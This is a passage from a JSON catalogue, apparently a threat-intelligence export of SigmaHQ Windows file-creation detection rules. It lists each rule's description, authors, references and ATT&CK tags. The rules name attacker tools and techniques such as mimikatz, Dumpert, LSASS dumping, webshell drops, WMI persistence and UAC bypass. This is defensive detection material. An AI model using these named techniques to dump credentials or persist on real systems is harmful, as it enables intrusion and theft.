        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_rdp_file_susp_creation.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/",
          "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rdp_file_susp_creation.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "fccfb43e-09a7-4bd2-8b37-a5a7df33386d",
      "value": "RDP File Creation From Suspicious Application"
    },
    {
      "description": "Detects file writes of WMI script event consumer",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2018/03/07",
        "falsepositive": [
          "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)"
        ],
        "filename": "file_event_win_wmi_persistence_script_event_consumer_write.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml"
        ],
        "tags": [
          "attack.t1546.003",
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      },
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        {
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      "uuid": "33f41cdd-35ac-4ba8-814b-c6a4244a1ad4",
      "value": "WMI Persistence - Script Event Consumer File Write"
    },
    {
      "description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class over the network",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_dcom_iertutil_dll_hijack.yml",
        "level": "critical",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dcom_iertutil_dll_hijack.yml"
        ],
        "tags": [
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          "attack.t1021.003"
        ]
      },
      "related": [
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          "type": "related-to"
        }
      ],
      "uuid": "2f7979ae-f82b-45af-ac1d-2b10e93b0baa",
      "value": "Potential DCOM InternetExplorer.Application DLL Hijack"
    },
    {
      "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.",
      "meta": {
        "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)",
        "creation_date": "2020/03/19",
        "falsepositive": [
          "Operations performed through Windows SCCM or equivalent",
          "Read only access list authority"
        ],
        "filename": "file_event_win_susp_desktop_ini.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_ini.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "81315b50-6b60-4d8f-9928-3466e1022515",
      "value": "Suspicious desktop.ini Action"
    },
    {
      "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_susp_spool_drivers_color_drop.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce",
      "value": "Drop Binaries Into Spool Drivers Color Folder"
    },
    {
      "description": "Detects files dropped by Winnti as described in RedMimicry Winnti playbook",
      "meta": {
        "author": "Alexander Rausch",
        "creation_date": "2020/06/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_redmimicry_winnti_filedrop.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redmimicry.com/posts/redmimicry-winnti/#dropper",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "130c9e58-28ac-4f83-8574-0a4cc913b97e",
      "value": "Potential Winnti Dropper Activity"
    },
    {
      "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "System administrators managing certififcates."
        ],
        "filename": "file_event_win_susp_pfx_file_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/14",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dca1b3e8-e043-4ec8-85d7-867f334b5724",
      "value": "Suspicious PFX File Creation"
    },
    {
      "description": "Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities",
      "meta": {
        "author": "Vadim Varganov, Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_msdt_susp_directories.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd",
          "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_susp_directories.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001",
          "cve.2022.30190"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "318557a5-150c-4c8d-b70e-a9910e199857",
      "value": "File Creation In Suspicious Directory By Msdt.EXE"
    },
    {
      "description": "Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.",
      "meta": {
        "author": "frack113, omkar72, oscd.community, Wojciech Lesicki",
        "creation_date": "2022/11/18",
        "falsepositive": [
          "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675"
        ],
        "filename": "file_event_win_net_cli_artefact.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/",
          "https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml",
          "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html",
          "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0b06658-7d1d-4cd3-bf15-03467507ff7c",
      "value": "Suspicious DotNET CLR Usage Log Artifact"
    },
    {
      "description": "Detects the presence and execution of Inveigh via dropped artefacts",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/24",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_hktl_inveigh_artefacts.yml",
        "level": "critical",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs",
          "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs",
          "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_inveigh_artefacts.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bb09dd3e-2b78-4819-8e35-a7c1b874e449",
      "value": "Inveigh Execution Artefacts"
    },
    {
      "description": "Detects the pattern of a UAC bypass using Windows Event Viewer",
      "meta": {
        "author": "Antonio Cocomazzi (idea), Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_uac_bypass_eventvwr.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw",
          "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute",
          "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43",
      "value": "UAC Bypass Using EventVwr"
    },
    {
      "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), MSTI (query, idea)",
        "creation_date": "2022/10/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_exchange_webshell_drop.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/",
          "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html",
          "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bd1212e5-78da-431e-95fa-c58e3237a8e6",
      "value": "Suspicious ASPX File Drop by Exchange"
    },
    {
      "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tom Ueltschi, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2017/11/10",
        "falsepositive": "No established falsepositives",
        "filename": "file_event_win_mal_adwind.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100",
          "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0bcfabcb-7929-47f4-93d6-b33fb67d34d1",
      "value": "Adwind RAT / JRAT File Artifact"
    },
    {
      "description": "Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/02/04",
        "falsepositive": [
          "Very unlikely"
        ],
        "filename": "file_event_win_hktl_dumpert.yml",
        "level": "critical",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/",
          "https://github.com/outflanknl/Dumpert",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_dumpert.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "93d94efc-d7ad-4161-ad7d-1638c4f908d8",
      "value": "HackTool - Dumpert Process Dumper Default File"
    },
    {
      "description": "Detects the presence of an LSASS dump file in the \"CrashDumps\" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.",
      "meta": {
        "author": "@pbssubhash",
        "creation_date": "2022/12/08",
        "falsepositive": [
          "Rare legitimate dump of the process by the operating system due to a crash of lsass"
        ],
        "filename": "file_event_win_lsass_shtinkering.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/deepinstinct/Lsass-Shtinkering",
          "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_shtinkering.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f625",
      "value": "LSASS Process Dump Artefact In CrashDumps Folder"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/11",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "file_event_win_anydesk_artefact.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377",
      "value": "Anydesk Temporary Artefact"
    },
    {
      "description": "Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/05",
        "falsepositive": [
          "Some false positives may occur with legitimate renamed process monitor binaries"
        ],
        "filename": "file_event_win_sysinternals_procmon_driver_susp_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_procmon_driver_susp_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1068"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a05baa88-e922-4001-bc4d-8738135f27de",
      "value": "Process Monitor Driver Creation By Non-Sysinternals Binary"
    },
    {
      "description": "Detects the creation of files created by mimikatz such as \".kirbi\", \"mimilsa.log\", etc.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), David ANDRE",
        "creation_date": "2021/11/08",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_hktl_mimikatz_files.yml",
        "level": "critical",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/",
          "https://cobalt.io/blog/kerberoast-attack-techniques",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_mimikatz_files.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558"
        ]
      },
      "related": [
        {
          "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e099d99-44c2-42b6-a6d8-54c3545cab29",
      "value": "Mimikatz Kirbi File Creation"
    },
    {
      "description": "Detects the creation of the \"PSScriptPolicyTest\" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_ps_script_policy_test_creation_by_uncommon_process.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ps_script_policy_test_creation_by_uncommon_process.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "1027d292-dd87-4a1a-8701-2abe04d7783c",
      "value": "PSScriptPolicyTest Creation By Uncommon Process"
    },
    {
      "description": "Detects the creation of the default output filename used by the wmiexec tool",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/02",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_win_wmiexec_default_filename.yml",
        "level": "critical",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py",
          "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8d5aca11-22b3-4f22-b7ba-90e60533e1fb",
      "value": "Wmiexec Default Output File"
    },
    {
      "description": "Detects default RemCom service filename which indicates RemCom service installation and execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_remcom_service.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/kavika13/RemCom/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remcom_service.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7eff1a7f-dd45-4c20-877a-f21e342a7611",
      "value": "RemCom Service File Creation"
    },
    {
      "description": "Detects the creation of a macro file for Outlook.",
      "meta": {
        "author": "@ScoubiMtl",
        "creation_date": "2021/04/05",
        "falsepositive": [
          "User genuinely creates a VB Macro for their email"
        ],
        "filename": "file_event_win_office_outlook_macro_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_macro_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.command_and_control",
          "attack.t1137",
          "attack.t1008",
          "attack.t1546"
        ]
      },
      "related": [
        {
          "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8c31f563-f9a7-450c-bfa8-35f8f32f1f61",
      "value": "New Outlook Macro Created"
    },
    {
      "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_creation_scr_binary_file.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "97aa2e88-555c-450d-85a6-229bcd87efb8",
      "value": "Suspicious Screensaver Binary File Creation"
    },
    {
      "description": "Detects PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n",
      "meta": {
        "author": "Christopher Peacock '@securepeacock', SCYTHE",
        "creation_date": "2021/10/24",
        "falsepositive": [
          "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware."
        ],
        "filename": "file_event_win_powershell_startup_shortcuts.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/intelligence-insights-october-2021/",
          "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "92fa78e7-4d39-45f1-91a3-8b23f3f1088d",
      "value": "Potential Startup Shortcut Persistence Via PowerShell.EXE"
    },
    {
      "description": "Detects the creation of a office macro file from a a suspicious process",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_office_macro_files_from_susp_process.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md",
          "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_from_susp_process.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1c50487-1967-4315-a026-6491686d860e",
      "value": "Office Macro File Creation From Suspicious Process"
    },
    {
      "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "file_event_win_csharp_compile_artefact.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e4a74e34-ecde-4aab-b2fb-9112dd01aed0",
      "value": "Dynamic CSharp Compile Artefact"
    },
    {
      "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate"
        ],
        "filename": "file_event_win_startup_folder_file_write.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.md",
          "https://github.com/OTRF/detection-hackathon-apt29/issues/12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml"
        ],
        "tags": [
          "attack.persistence",
